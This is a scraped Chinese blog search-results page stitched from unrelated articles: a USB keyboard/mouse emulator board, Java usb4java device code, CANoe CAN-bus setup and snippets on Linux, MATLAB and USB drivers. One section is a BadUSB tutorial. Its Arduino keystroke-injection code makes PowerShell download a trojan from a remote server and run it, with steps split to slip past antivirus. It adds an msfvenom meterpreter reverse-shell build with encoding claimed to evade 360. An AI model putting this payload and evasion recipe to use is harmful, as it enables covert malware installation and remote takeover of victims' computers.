精华内容
下载资源
问答
  • linux下自动挂载及卸载脚本和代码实现,请参考博客实现介绍。
  • USB硬件 键盘鼠标控制器 脚本编辑器V1.0 http://blog.csdn.net/laorenshen/archive/2010/06/27/5697394.aspx
  • USB硬件 键盘鼠标控制器 脚本编辑器V1.0 (单独ue脚本
  • USB硬件 键盘鼠标控制器 V2.0 支持二次开发

    万次阅读 热门讨论 2010-02-01 18:24:00
    USB硬件 控制键盘鼠标 V2.0 支持二次开发提供开发包     usb键盘鼠标控制器由来: 听说过"按键精灵"这个软件,就不难理解了;就是这个思路,做一个真正的硬件键盘鼠标,然后我们控制它.       主要目的: 一...

    USB硬件 控制键盘鼠标 V2.0 支持二次开发提供开发包

     

     

    usb键盘鼠标控制器由来: 听说过"按键精灵"这个软件,就不难理解了;就是这个思路,做一个真正的硬件键盘鼠标,然后我们控制它.

     

     

     

    主要目的:

    一台电脑用串口给控制器发命令,控制器会模拟成usb键盘和鼠标,去控制另外一台电脑

    (当然,同一台电脑分别插入usb和串口也是可以的)

    工作原理:

    串口输入命令,usb 输出键盘鼠标命令,

    软件部分,说明:

    如图:

     

    usb

     

    我们自己编写控制脚本,在txt 文件里面直接写,

    然后点击 ,执行脚本,

    模拟器就会一条一条语句 发给控制器,

    控制器执行就ok

     

     

    控制器部分说明:

    如图:

     

     taobao店铺 :  http://item.taobao.com/item.htm?id=4985784312

     

    采用arm 处理器,速度够快,体积够小,

    一端连接主机的串口(自己做的带屏蔽的串口线,可以通讯100米),

    一端连接被控制电脑的usb口(usb 通讯线,不建议超过2米),

    基本上算是完工了,1.0的版本,

    我自己写了2个脚本,

    测试了一下,还挺好的,

    鼠标模拟脚本.txt,

    键盘F5模拟脚本.txt,

    正在进一步的完善 脚本编写器, 和 脚本编写说明

    按照脚本执行,毕竟是准确的,hoho

     

    博客:http://blog.csdn.net/laorenshen/archive/2010/02/01/5278068.aspx


     

    发货清单:

    1.软件部分请自行到论坛下载,免费开源

    2.硬件部分:

    烧好程序的 arm 小板一块,插上就能用,需要用户自己购买usb线和串口线

    (硬件部分都已经加密固化程序,所以不提供售后服务,不退不换,请参考论坛的资料,看好再购买,以免浪费金钱)

    硬件是裸露的板子,请大家一定注意,静电会很容易损坏芯片的,

    如果有diy能力的,请找一个塑料外壳自己包装一下.

     

    taobao店铺 :  http://item.taobao.com/item.htm?id=4985784312

     

     

     

     

     

    开源二次开发包下载:

     

    鼠标键盘控制器V2.5.2模拟器安装包(试用版NEW)

    主要给不会编程的人提供的,

    或者电脑没有mscomm控件的,

    直接安装就可以用模拟器和工具,

    安装新版本前,请卸载以前版本

    115网盘下载    下载地址2         360云盘下载

     ---------------------------------------------------------------------------------------------------------

    鼠标键盘控制器V2.0二次开发包

    包括:

    1_硬件连接

    2_协议说明V2.0

    3_USB键盘鼠标模拟器V2.0源程序demo

    4_工具软件源代码 

    115网盘下载    纳米盘下载   下载地址2      360云盘下载

     

     ---------------------------------------------------------------------------------------------------------

    USB键盘鼠标模拟器V2.5.2源程序VB6demo(试用版NEW)

    VB6.0编译,采用微软MSCOMM控件,

    降低cpu使用率,增加鼠标移动速度设置

    115网盘      下载地址2     360云盘下载

     

     ---------------------------------------------------------------------------------------------------------

     

     

    USB硬件键盘鼠标控制器V2.0 支持Linxu 源程序(NEW)

    Red Hat Linux 9.0 测试编译
    默认com1  9600,n,8,1
    1.接上板子的串口线在com1,接上usb线

    2.编译: gcc -o comtest comtest.c

    3.执行: ./comtest

    4.鼠标移动

    代码地址       360云盘下载

     

     ---------------------------------------------------------------------------------------------------------

     

    USB键盘鼠标模拟器V2.0源程序BCB6demo

    C++Builder 6 编译

    使用VictorComm串口通讯组件

    演示鼠标移动

    1.设置端口com1 9600 ,默认就可以

    2.鼠标移动测试

    3.结束 

    115网盘   纳米盘下载    下载地址2     360云盘下载

     

     ---------------------------------------------------------------------------------------------------------

     

    USB键盘鼠标模拟器V2.0源程序Delphi7demo

    Delphi7编译
    使用TComm1组件,见文件夹"通讯组件"
    默认com1  9600,n,8,1
    1.接上板子的串口线在com1,接上usb线

    2.运行软件,测试,

    3.鼠标移动

    4.结束

    115网盘     纳米盘下载    下载地址2      360云盘下载

     

     ---------------------------------------------------------------------------------------------------------

     

    USB键盘鼠标模拟器V2.0源程序VC6.0demo

    vc6.0编译
    演示鼠标移动

    1.设置串口 默认9600就可以 ,如图设置

    2.选择16进制通讯方式

    3.开始接收

    4.测试鼠标移动
    返回01就是成功,可以见到鼠标移动

    115网盘     纳米盘下载    下载地址2      360云盘下载

     ---------------------------------------------------------------------------------------------------------

     

    USB键盘鼠标模拟器V2.0C#demo

    C#演示demo

    VS2008编译通过

    采用serialPort组建

    9600波特率

    115网盘     纳米盘下载     下载地址2       360云盘下载

     ---------------------------------------------------------------------------------------------------------

     

    USB键盘鼠标模拟器V2.0VB.netDemo

    VB.net 演示 Demo

    vs2008编译

    默认com1  9600,n,8,1

    115网盘      纳米盘下载     下载地址2      360云盘下载

     ---------------------------------------------------------------------------------------------------------

     

    USB键盘鼠标模拟器V2.0VC.netDemo

    vs2008编译

    vc++ 演示 demo

    默认com1  9600,n,8,1

    115网盘     纳米盘下载   下载地址2        360云盘下载

     ---------------------------------------------------------------------------------------------------------

     

    USB硬件 键盘鼠标控制器 Lao-UKM V3.1 易语言串口通讯简单例子

    http://blog.csdn.net/laorenshen/article/details/9031915


    ---------------------------------------------------------------------------------------------------------

    多媒体演示资料下载

    1.演示                       纳米盘下载          优酷视频 

    2.如何制作一个脚本     纳米盘下载         优酷视频

    3.鼠标连点器板子                                  优酷视频     

     ---------------------------------------------------------------------------------------------------------

      

     

    测试结果

    1.测试鼠标连点板子的测试报告

     

     ---------------------------------------------------------------------------------------------------------

     

     

    提问:

    1.如何使用:ctrl和c的复合按键

     

    01 00 00 00 00 5000
    02 01 00 00 00 10
    02 00 00 00 00 10
    01 01 00 06 00 100
    01 00 00 00 00 10
    01 00 00 00 00 10


    注解:

     

    01 00 00 00 00 5000   //空指令延时5秒
    02 01 00 00 00 10      //鼠标左键按下
    02 00 00 00 00 10      //鼠标左键抬起
    01 01 00 06 00 100    //ctrl+C 是复合语句  ,  查一下ctrl 和 c 的代码, 叠加就是这个代码
    01 00 00 00 00 10     //抬起
    01 00 00 00 00 10     //抬起


    所有的复合按键,都是复合的指令,可以简单的叠加语句,

    01 01 00 00 00

    01 00 00 06 00

    按照位置叠加就是

     01 01 00 06 00

     

    2.注意返回值01

    当发送一个完整的控制命令后, 控制器会有一个返回值,

    这个返回值01,表示:

    成功发送了一个动作给电脑,

    如果不是01呢,比如:FF 或者 CF ,

    很容易理解,就是没有成功发送,

    我们可以这样做,发送空指令,如 02 00 00 00 00,

    先发一个02,看看有没有返回值,如果没有,继续发00,如果还没有就继续发00;

    直到我们收到了正确的01,好,停止发送,

    这个时候,控制器就处于标准的待命状态了,

    你可以发送你先前已经编写好的控制命令了.

     

    3.要理解复合语句的思想

    看过"如何使用:ctrl和c的复合按键",就很容易理解了,

    复合语句包括很多,比如ctrl+c , Shift + A , 都是这个思路,要写复合语句才可以控制电脑,

    还有比如,鼠标左键拖动,这个动作也是符合语句,是左键按下+移动 这2个语句复合得到的;

    只要大家用心想一下,就自然理解了,

    实际上,计算机是死的,人是活的,要了解计算机的思想,用它的方式去思考就可以了,

    虽然有些笨,但是,只要有思想,什么问题都会解决的.

     

    4.USB是否需要驱动程序

    WindowsXp、Windonws7以上版本,不需要驱动程序,

    Linux下版本太多,具体要自己测试。

    如果第一次插入usb电脑没有驱动上,可能是电脑速度慢造成的,

    拔下usb线,等2秒钟,再插入一次,就好了.

     

    5.鼠标移动速度的疑惑

    硬件移动1个单位,到底对应屏幕多少?

    首先,硬件发出移动1个单位指令,

    然后,Windows系统会接受这个指令,并和鼠标移动速度的设置进行比对,

    我们可以用API函数SystemParametersInfo,来读取和设置当前鼠标的速度,

    也就是说,如果Windows的鼠标移动速度设置为1,

    硬件发出的移动1个单位指令,就对应屏幕的1个单位,

    通常,Windows 系统都给我们的硬件加速了,

    就是这个原理,我们可以在控制面板中的鼠标设置里找到这个速度设置.

     

    6、Ctrl+Alt+Del 组合键如何实现

    01 05 00 4c 00 100
    01 00 00 00 00 100


    7、win + L 组合键如何实现


    01 08 00 0f 00 100
    01 00 00 00 00 10
    01 00 00 00 00 10

     

     

     

    taobao店铺 :  http://item.taobao.com/item.htm?id=4985784312

     

     

     

     

     

    展开全文
  • java中实现与USB硬件通信

    万次阅读 热门讨论 2018-07-23 16:19:37
    目前在网络上查询java与usb的设备通信资源都非常的少大多都来自一个05年的文章,本人也摘取了网上的例子,例子中直接运行也出现了一些问题,经过debug还是可以直接在windows上直接使用java向usb设备发送指令并接受...

    目前在网络上查询java与usb的设备通信资源都非常的少大多都来自一个05年的文章,本人也摘取了网上的例子,例子中直接运行也出现了一些问题,经过debug还是可以直接在windows上直接使用java向usb设备发送指令并接受返回值的.接下来贴出代码供大家参考

    import java.util.List;
    
    import javax.usb.UsbConfiguration;
    import javax.usb.UsbDevice;
    import javax.usb.UsbDeviceDescriptor;
    import javax.usb.UsbEndpoint;
    import javax.usb.UsbHostManager;
    import javax.usb.UsbHub;
    import javax.usb.UsbInterface;
    import javax.usb.UsbInterfacePolicy;
    import javax.usb.UsbPipe;
    
    public class UsbTest {
        //下边两个参数为系统中usb设备的VID和PID 需要自行配置
        private static short idVendor = (short)0xFFFF;
        private static short idProduct = (short)0x0001;
    
        public static void main(String[] args) {
            try {
                UsbPipe sendUsbPipe = new UsbTest().useUsb();
                //本人测试时 是使用公司的一个读卡器主要对银行卡和身份证进行读取写等相关操作
                //下边为发送的指令,目前大多usb硬件设备都是接受HEX 16进制指令
                //那么如下指令为:363600028000000280 的16进制指令 注意2位为一组16进制字符
                buff[0] = (byte)0x36;
                buff[1] = (byte)0x36;
                buff[2] = (byte)0x00;
                buff[3] = (byte)0x02;
                buff[4] = (byte)0x80;
                buff[5] = (byte)0x00;
                buff[6] = (byte)0x00;
                buff[7] = (byte)0x02;
                buff[8] = (byte)0x80;
                sendMassge(sendUsbPipe, buff);
     }
    
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    
    public UsbPipe useUsb() throws Exception{
            UsbInterface iface = linkDevice();
            if (iface == null) {
                return null;
            }
            UsbEndpoint receivedUsbEndpoint,sendUsbEndpoint;
    
            sendUsbEndpoint = (UsbEndpoint)iface.getUsbEndpoints().get(0);
            if (!sendUsbEndpoint.getUsbEndpointDescriptor().toString().contains("OUT")) {
                receivedUsbEndpoint = sendUsbEndpoint;
                sendUsbEndpoint = (UsbEndpoint)iface.getUsbEndpoints().get(1);
            } else {
                receivedUsbEndpoint = (UsbEndpoint)iface.getUsbEndpoints().get(1);
            }
    
            //发送:
            UsbPipe sendUsbPipe =  sendUsbEndpoint.getUsbPipe();
            sendUsbPipe.open();
    
            //接收
            final UsbPipe receivedUsbPipe =  receivedUsbEndpoint.getUsbPipe();
            receivedUsbPipe.open();
    
            new Thread(new Runnable() {
                public void run() {
                    try {
                        receivedMassge(receivedUsbPipe);
                    } catch (Exception e) {
                        e.printStackTrace();
                    }
                }
            }).start();
            return sendUsbPipe;
        }
    
    public UsbInterface linkDevice() throws Exception{
    
            UsbDevice device = null;
            if (device == null) {
                device = findDevice(UsbHostManager.getUsbServices()
                        .getRootUsbHub());
            }
            if (device == null) {
                System.out.println("设备未找到!");
                return null;
            }
            UsbConfiguration configuration = device.getActiveUsbConfiguration();
            UsbInterface iface = null;
            if (configuration.getUsbInterfaces().size() > 0) {
                //此处需要注意 本人在这个地方的时候是进行了debug来看设备到底在map中的key是多少
                //各位如果在此处获取不到设备请自行进行debug看map中存储的设备key到底是多少
                iface = configuration.getUsbInterface((byte) 0);
            } else {
                return null;
            }
            iface.claim(new UsbInterfacePolicy()
            {
                @Override
                public boolean forceClaim(UsbInterface usbInterface)
                {
                    return true;
                }
            });
            return iface;
        }
    
    public void receivedMassge(UsbPipe usbPipe) throws Exception{
            StringBuffer all = new StringBuffer();
            byte[] b = new byte[64];
            int length;
            while (true) {
                length = usbPipe.syncSubmit(b);//阻塞
                System.out.println("接收长度:" + length);
                for (int i = 0; i < length; i++) {
                    //此处会打印所有的返回值 注意返回值全部也都是16进制的
                    //比如读取卡号或者身份证号时需要自行转换回10进制
                    //并进行补0操作,比如01转换为10进制会变成1需要补0 变成01
                    //不然得到的10进制返回值会有问题
                    System.out.print(Byte.toUnsignedInt(b[i])+" ");
                    all.append(Byte.toUnsignedInt(b[i])+" ");
                }
            }
        }
    
    public static void sendMassge(UsbPipe usbPipe,byte[] buff)  throws Exception{
            //此处为阻塞和非阻塞  非常好理解和多线程一个道理不再解释
            usbPipe.syncSubmit(buff);//阻塞
            //usbPipe.asyncSubmit(buff);//非阻塞
        }
    
    public UsbDevice findDevice(UsbHub hub)
        {
            UsbDevice device = null;
            List list = (List) hub.getAttachedUsbDevices();
            for (int i = 0;i<list.size();i++)
            {
                device = (UsbDevice)list.get(i);
                UsbDeviceDescriptor desc = device.getUsbDeviceDescriptor();
                System.out.println(i+"___"+desc.idVendor()+"___"+desc.idProduct());
                if (desc.idVendor() == idVendor && desc.idProduct() == idProduct) {return device;}
                if (device.isUsbHub()){
                    device = findDevice((UsbHub) device);
                    if (device != null) return device;
                }
            }
            return null;
        }
    }

    PID和VIP如下图: 0458为VID    003A为PID

    另外还需要在resources文件夹中添加配置文件 名称为:javax.usb.properties

    配置文件中内容为:

    javax.usb.services = org.usb4java.javax.Services

    保险起见pom中添加如下配置:

    <dependency>
        <groupId>org.usb4java</groupId>
        <artifactId>usb4java-javax</artifactId>
        <version>1.2.0</version>
    </dependency>
        <dependency>
            <groupId>javax.usb</groupId>
            <artifactId>usb-api</artifactId>
            <version>1.0.2</version>
        </dependency>
        <dependency>
            <groupId>javax.usb</groupId>
            <artifactId>usb-api</artifactId>
            <version>1.0.2</version>
            <classifier>sources</classifier>
        </dependency>

    PS:这个java端的usb方法非常的老支持的usb2.0版本虽然现在的3.0版本也能用但是会发生插拔了之后不能使用,这方面我尝试了很久进行重连但是都失败了,所以非万不得已还是尽量不要使用这个在生产使用好一些,可以用C#来做很容易避免这样的问题java真的很不友好

    在java端如果想做成插件可以使用servlet做一个启动类打一个jar包放入到jre中,之后我们在写一个bat脚本就可以实现javausb插件在windows中使用了

    展开全文
  • BadUsb号称是世界上最邪恶的USB外设。笔者使用他们的代码做了个类似的U盘,用户插入U盘,就会自动执行预置在固件中的恶意代码,下载服务器上恶意文件,执行恶意操作…. 硬件准备 这里我们使用的是: BS Micro pro ...

    漏洞背景

    是今年计算机安全领域的热门话题之一,该漏洞由Karsten Nohl和Jakob Lell共同发现,并在今年的BlackHat安全大会上公布。BadUsb号称是世界上最邪恶的USB外设。笔者使用他们的代码做了个类似的U盘,用户插入U盘,就会自动执行预置在固件中的恶意代码,下载服务器上恶意文件,执行恶意操作….

    硬件准备

    这里我们使用的是:
    BS Micro pro micro leonardo Arduino 开发板(某宝里面买的)
    在这里插入图片描述

    硬件代码

    #include <Keyboard.h>
    void setup() {//初始化
    Keyboard.begin();//开始键盘通讯
    delay(1000);//延时
    Keyboard.press(KEY_LEFT_GUI);//win键
    delay(200);
    Keyboard.press(‘r’);//r键
    delay(300);
    Keyboard.release(KEY_LEFT_GUI);//释放win 键
    Keyboard.release(‘r’);//释放R键
    Keyboard.press(KEY_CAPS_LOCK);//切换大小写,绕过输入法
    Keyboard.release(KEY_CAPS_LOCK);
    Keyboard.println(“cmd “);
    delay(200);
    Keyboard.press(KEY_RETURN);//按下回车键
    delay(200);
    Keyboard.release(KEY_RETURN);//按下回车键
    delay(500);
    Keyboard.println(“powershell “);
    Keyboard.press(KEY_RETURN);//按下回车键
    delay(200);
    Keyboard.release(KEY_RETURN);//按下回车键
    delay(500);
    Keyboard.println(“$clnt = new-object System.Net.WebClient; “);
    Keyboard.press(KEY_RETURN);//按下回车键
    delay(200);
    Keyboard.release(KEY_RETURN);//按下回车键
    delay(500);
    Keyboard.println(“$url= ‘**********木马地址******’; “);
    Keyboard.press(KEY_RETURN);//按下回车键
    delay(200);
    Keyboard.release(KEY_RETURN);//按下回车键
    delay(500);
    Keyboard.println(“$file = ‘ D:\\server.exe’; “);
    Keyboard.press(KEY_RETURN);//按下回车键
    delay(200);
    Keyboard.release(KEY_RETURN);//按下回车键
    delay(500);
    Keyboard.println(“$clnt.DownloadFile($url,$file); “);
    Keyboard.press(KEY_RETURN);//按下回车键
    delay(200);
    Keyboard.release(KEY_RETURN);//按下回车键
    delay(500);
    Keyboard.println(“START D:\\server.exe “);
    Keyboard.press(KEY_RETURN);
    delay(500);
    Keyboard.release(KEY_RETURN);
    delay(500);
    Keyboard.end();//结束键盘通讯
    
    }
    
    void loop()//循环
    
    {
    
    }
    

    注:我们通过分步进行cmd批处理里面的powershell 命令,这样可以绕过杀毒软件的拦截。

    木马地址:是我们已经将做好的木马放在外网服务器的地址,对于木马的制作我下面会讲

    木马制作(可绕过360检测)

    使用工具:kali系统、vc++6.0

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b ‘\x00’ lhost=192.168.1.157 lport=5555 -f c -o /root/Desktop/sha.c

    e参数指定编码方式,i参数指定编码次数,b参数去除指定代码,一般是空代码或者错误代码, lhost本机地址,lport监听的端口,-f指定生成格式,-o指定输出路径。

    执行上述代码之后,会生成sha.c,名字可以随意,

    打开sha.c文件,其中代码为:在这里插入图片描述
    再将代码用vc++做成软件(注意要c语言的头文件,c语言基础)即可…亲自检测可以绕过360检测

    目标机运行木马程序程序,就能拿到shell
    在这里插入图片描述

    补充arduino按键代码
    
    delay(5000);//延时毫秒
    
    Keyboard.begin(); //开始键盘通讯
    Keyboard.end(); //结束键盘通讯
    Keyboard.press(); //按下键盘按键 如果是非特殊按键如 数字、字母按键用单引号括起来
    Keyboard.release(); //释放键盘按键
    Keyboard.println(“”); //输入字符串使用双引号括起来
    
    Mouse.begin();//鼠标事件开始
    Mouse.click();//鼠标单击
    Mouse.end();//鼠标事件结束
    Mouse.move();//鼠标移动(x,y)
    Mouse.press();//鼠标按下
    Mouse.release();//鼠标松开
    Mouse.isPressed();//
    
    KEY_LEFT_CTRL
    KEY_LEFT_SHIFT
    KEY_LEFT_ALT
    KEY_LEFT_GUI //win键
    KEY_RIGHT_CTRL
    KEY_RIGHT_SHIFT
    KEY_RIGHT_ALT
    KEY_RIGHT_GUI
    KEY_UP_ARROW
    KEY_DOWN_ARROW
    KEY_LEFT_ARROW
    KEY_RIGHT_ARROW
    KEY_BACKSPACE
    KEY_TAB
    KEY_RETURN//回车键
    KEY_ESC
    KEY_INSERT
    KEY_DELETE
    KEY_PAGE_UP
    KEY_PAGE_DOWN
    KEY_HOME
    KEY_END
    KEY_CAPS_LOCK
    KEY_F1
    KEY_F2
    KEY_F3
    KEY_F4
    KEY_F5
    KEY_F6
    KEY_F7
    KEY_F8
    KEY_F9
    KEY_F10
    KEY_F11
    KEY_F12
    
    
    
    展开全文
  • wire_grid_loader 该脚本用于控制线栅装载器。 **请不要将输出数据文件推送到git仓库中! ** 编码器 脚本读取编码器数据...通讯:USB(Blackbox内有一个RS232串行转换器。) testing:此目录用于测试。 标签 v1.0
  • CANOE入门(一)

    千次阅读 多人点赞 2019-11-04 15:33:54
    CANOE入门(一) CANoe是Vector公司的针对汽车电子行业的总线分析工具,现在我用CANoe7.6版本进行介绍,其他版本功能基本差不多。 硬件我使用的是CAN case XL. ...安装完成,插上USB,连接硬件,这样在控制面板中,...

    转自:https://www.cnblogs.com/fengliu-/p/7844072.html

    CANOE入门(一)

    CANoe是Vector公司的针对汽车电子行业的总线分析工具,现在我用CANoe7.6版本进行介绍,其他版本功能基本差不多。

    硬件我使用的是CAN case XL.

    1,CANoe软件的安装很简单,先装驱动,再装软件。安装完成,插上USB,连接硬件,这样在控制面板中,Vector Hardware 进行查看

    image

    通过查看信息可知,CANcaseXL中的两个piggy,一个是251(高速CAN),一个是7269(LIN),另外常用的还有1054(低速CAN,或称容错CAN),因为CANcaseXL中只能支持两路通讯,这样piggy可以自由组合

    2,硬件连接正常,打开CANoe软件

    File->New Configuration 可以选择新建工程的模版,我们这里选择CAN_500kBaud.tcn,这样新建了波特率为500K CAN工程,可以File->Save Configuration,进行保存

    3,接下来就要使用CAN db++ Editor工具对总线网络节点,消息,信号,进行定义了。

    点击工具栏的这个图标 tmp5B ,或 开始菜单中找这个工具启动

    启动后,File->Create Database,选择CANTemplate.dbc,选择目录及文件名,进行保存

    tmp5F

     

     

     

     

    右键 Network nodes->New ,进行网络节点的定义,这里只需要填写Name即可,例如:Node_A

    然后添加Node_B,完成后如下图,这样在Network nodes目录下面添加出来两个节点

    tmp66

     

    节点添加完成后,下一步添加CAN消息,右键Messages->New,这是需要定义名称,ID,DLC等信息,如下:

    tmp6F

    然后在Transmitters页面,点击Add按钮,添加Node_A为发送节点,意思就是说,此消息是从Node_A节点发送出来的

    tmp6A

     

    其实还有一种方法就是,此时暂时不定义发送节点,然后直接以拖曳的方式拖曳到发送节点上,功能上是一样的

    有了消息,消息里携带的东西自然是信号咯,那么我们开始创建一个信号

    右键Signals->New,填写如下信息

    tmp8C

    信号当然要放到消息中咯,切换到Messages页面,Add 我们刚刚建立的Message_A,当然和上面一样,采用拖曳的方式从Signal到Message中建立关联也是可以的。

    tmp88

    上面信息中Intel模式和Motorola格式的区别如下:

    tmp8A

     

     

     

     

     

    用0和1来表示开关信号状态似乎还不是很直观,我们可以使用on和off来表示就好了,于是View->Value Tables,右键空白处->New,键入如下信息:

    tmp8E tmp8F

     

     

     

    定义好了之后,还需要跟信号进行关联。右键需要关联的信号->Edit Signal,Value Table 中关联刚才建立的那个Value Talbe项

    tmp94

    这样一个信号就完成了,另外还需要加一个类似的信号,可以点击Signal根目录,在右边选择Signal复制,及粘贴,然后双击复制好的Signal后,进行一些编辑,然后用上面方法关联Message即可快速建立第二个信号了,是不是很方便

    继续添加第三个信号,Indicator_A,跟上面一样,但是我这个信号想放在Message的第二个字节的位置,怎么办?

    其实很简单,有两种方法:第一种,右键已经关联好的,即在Message目录下的信号,Edit mapped signal,在弹出的对话框中的Startbit中填8,这样就这个信号就跑到该消息的第二个字节中了。第二种方法,右键该消息->Edit Message,在Layout页面中,拖动信号的色块进行移动

    tmp99

    tmp9A

    tmp9C

     

     

     

    以上Message_A消息及消息下所定义已经定义完成

    tmp9E

    如法炮制另外一个消息Message_B,完成后如下图。

    tmpA1

    下面创建环境变量,右键Environment variables

    tmpAF tmpB7

     

    陆续把其他环境变量加好,Indicator的Access属性为Write哦,加完如下:

    tmpB8

    数据库的定义这款基本上就OK了。保存后关闭CANdb++ Editor,回到CANoe主程序中。

    请在Configuration->Options->Configuration Settings->Channel Usage 设置使用的通讯通道,因为这个只需要1路CAN,其他都设置为0就可以。

    点这个选项页面tmpB9可出现Simulate Setup 界面

    tmpBB

    右键Databases->Add,把刚刚创建好的dbc给加载进来,之后再连线上右键->Insert Network Node

    image

    结果如下:

    tmpBC

    右键这个ECU模块->Configuration,在Network Node 选择Node_A,完成,然后添加Node_B

    tmpBD

     

    完成后如下图,这样dbc与CANoe的关联就好了。

    tmpBE

    4,界面设计

    网络及相应的关系设置好之后,应该设计界面了,一个良好的界面可以直观的显示及控制各种信号。

    界面设计工具有两种:一种是Panel Designer,新的界面设计工具,另外一种是Panel Editor是老的界面设计工具,无论采用何种工具设计的界面,都可以和CANoe很好的兼容,没有问题。下面我们先用第一种界面设计工具来完成界面的设计

    点击工具栏的这个图标tmpE或File->Open Panel Designer,打开界面编辑器,界面如下:

    tmp11

     

     

    保存一下该界面,起名为Panel_A,一个空的界面上可以放置右上边若干组件。放置好之后,选中界面上的组件的时候,右下侧回显示当前选中的组件的属性,可以更改相应的大小位置等,但最重要的是Symbol属性,这里要说一下,每个界面组件也都需要与CANoe关联,否则单纯的界面是没有任何意义的,关联主要是信号和环境变量,在Symbol属性的Symbol Filter属性中可以进行选择,我们这里关联的是环境变量,所以选择Environment Variable,然后再点击上面的Symbol属性,然后在弹出的页面中选择相应关联的变量

    tmp1F

    完成后可以按同样的方法设计Panel_B,也可以Save As 的方法快速建立同样的Panel但是与环境变量的关联和界面的文字需要进行微调。这样两个Panel都已完成。也已经建立了与CANoe之间的关联。

    5,CAPL编程

    所有的前期准备工作和组装工作都已完成,现在需要编写程序使整个系统有机的运行起来。回到CANoe的Simulation Setup界面,然后点击Node_A模块的,像铅笔一样的图标tmp22,填写程序名称,这里Node_A,然后打开编程界面,完成以下程序。然后完成Node_B程序。小技巧:如果背不出具体的消息名称,信号名称或环境变量,可以右键程序空白处,你会得到意外的惊喜,试试看。

    tmp3D

    tmp3F

    OK大功告成

    6,运行

    现在点击工具栏tmp40,运行程序。注意:tmp41这里表示实际的网络,所有的消息是发送到物理的网络上的,如果只是验证程序,设置成这样就可以了tmp43

    完整运行结果如下:

    tmp44

    就是这样,一步一步的,我们完成了第一个完整的CANoe应用工程,虽然这只是入门第一步,但整个CANoe的开发流程基本涵盖,如果能跑出上面的运行结果,依然能够给我们很多的惊喜。我们需要这样的惊喜,因为这是我们继续前行的动力。

    展开全文
  • 此程序纯批处理,且纯净绿色,也不会在生成文件中包含我的个人信息,大家不要随意修改里面的代码结构,很可能自己电脑没问题,到了别的电脑就会获取不准
  • 用于系统/硬件管理和常规维护的Shell脚本 文件夹名称 评论 老的 老东西 姓名 评论 alpha_restore.sh 在Alpha通道中查找带有可疑数据的PNG文件 backup.sh rsync备份到远程位置(ssh) backup_usb.sh rsync备份到...
  • 入门学习Linux常用必会60个命令实例详解doc/txt

    千次下载 热门讨论 2011-06-09 00:08:45
    因为Linux与Windows不同,其后台运行着许多进程,所以强制关机可能会导致进程的数据丢失,使系统处于不稳定的状态,甚至在有的系统中会损坏硬件设备(硬盘)。在系统关机前使用 shutdown命令,系统管理员会通知所有...
  • 禁用电脑USB接口文件

    2019-03-10 12:54:00
    电脑禁用USB硬件程序,保证系统文件安全,电脑禁用USB硬件程序,保证系统文件安全,电脑禁用USB硬件程序,保证系统文件安全,
  • 硬件:树莓派 Raspberry 3B+ 系统:Raspbian GNU/Linux 9 (stretch) 内核:Linux raspberrypi 4.14.93-v7+ #1189 SMP, armv7l GNU/Linux 脚本内容 $vi /var/www/html/bt5net/check_ttyACM_and_run_serial.sh #...
  • Linux 命令面试题

    万次阅读 多人点赞 2019-07-24 09:40:04
    netstat -nlpt |grep 100 4.Linux常用命令 arch 显示机器的处理器架构(1) uname -m 显示机器的处理器架构(2) uname -r 显示正在使用的内核版本 dmidecode -q 显示硬件系统部件 - (SMBIOS / DMI) hdparm -i /dev...
  • ,因此意外在linux内核网站里找到这样一个api可以直接通过访问硬件借口获得USB方向盘的输出。 api地址: https://www.kernel.org/doc/Documentation/input/joystick-api.txt api首先访问linux的硬件端口 /dev/...
  • 调试usb host模式驱动的步骤:查看原理图,usb host模式下的管脚配置:红框里面的是host模式,蓝框里面是OTG模式。 IMX6Q有4种独立的USB控制器核心:OTG控制核与3个host控制核。The USB 2.0 Controller Core 0 ...
  • 本节讨论使用DSF设备模拟器测试USB驱动程序的技术。 本节包括: 创建一个模拟USB 2.0 EHCI控制器 在模拟USB 2.0控制器中插入设备 模拟设备PNP枚举 用设备模拟器协调I/O 在计算机上重启模拟设备 使用设备仿真...
  • 当某些事件发生时,Procd(init系统和进程管理守护进程)执行位于/etc/hotplug.d/中的脚本,例如当接口启动或关闭时,检测到新的存储驱动器时,或者按下按钮时. 当使用PPPoE连接或者在不稳定的网络中,或使用硬件...
  • 包含一些基本命令的整个脚本(dd、fdisk、df、sync、lsusb、update-grub) 介绍和见解 好吧,我想每个人在 2020 年初都感受到了来自政府的一点压力。 现在,我并不是说赛博朋克反乌托邦就在这里(即使我这么认为),...
  • 工控 组态王6.60 SP3软件 授权软件狗 USB 硬件狗 分享 下载
  • 通讯速率测试 测试代码 相比硬件串口而言,USB虚拟的串口速度可以变得非常快,图形化的串口工具已经无法用来测速了,这里用python写了个脚本进行测试,测试脚本如下: #!/usr/bin/env python3 # -*- coding: utf-8 ...
  • 被控制的电脑不用装软件,因为控制器本身就是一个标准的usb键盘鼠标,   可以一台电脑控制多台计算机,也可以在一台电脑上使用.       V3.1的体积缩小了很多,有一个塑料外壳了, 可以参看   功能上增加了:   增加...
  • 2014年美国黑帽大会上研究人员JakobLell和Karsten Nohl展示了badusb的攻击方法后,国内与badusb相关的文章虽然有了一些,但是大部分人把相关文章都阅读后还是会有种“不明觉厉”的感觉,badusb仍有一层朦胧的面纱。...
  • MATLAB 2018b 安装与简介

    万次阅读 多人点赞 2019-02-18 13:07:00
    浏览受支持的硬件: 1、Arduino 2、Raspberry Pi 3、USB 网络摄像头 4、iPhone、iPad 和 Android 设备 5、ThingSpeak IoT 九、数据分析 利用matlab2018b,不管您正在处理的是商业数据还是工程数据,您都可以自己做...
  • USB接口测试工装研究

    2020-04-10 11:17:53
    ETst_USB系统主要由硬件部分与软件部分组成。硬件部分包括1553B板卡、RS232/422/485板卡、CAN总线板卡、AD采集板卡、DA转换板卡、DI/DO板卡等。所有硬件板卡均采用USB的接口形式,从而灵活便携,能适应多种测试环境...
  • 设备驱动程序是操作系统内核和机器硬件之间的接口,由一组函数和一些私有数据组成,是应用程序和硬件设备之间的桥梁。在应用程序看来,硬件设备只是一个设备文件,应用程序可以像操作普通文件一样对硬件设备进行操作...
  • Linux常用命令全集

    千次阅读 多人点赞 2013-01-22 13:40:35
    引言:最近被要求写shell备份数据库,个人觉得Linux的操作还是极为重要的,所以转载了别人比较好的文章,留作后用! ... 系统信息 arch 显示机器的处理器架构(1) ...dmidecode -q 显示硬件系统部件 -
  • IMX6Q有4种独立的USB控制器核心:OTG控制核与3个host控制核。
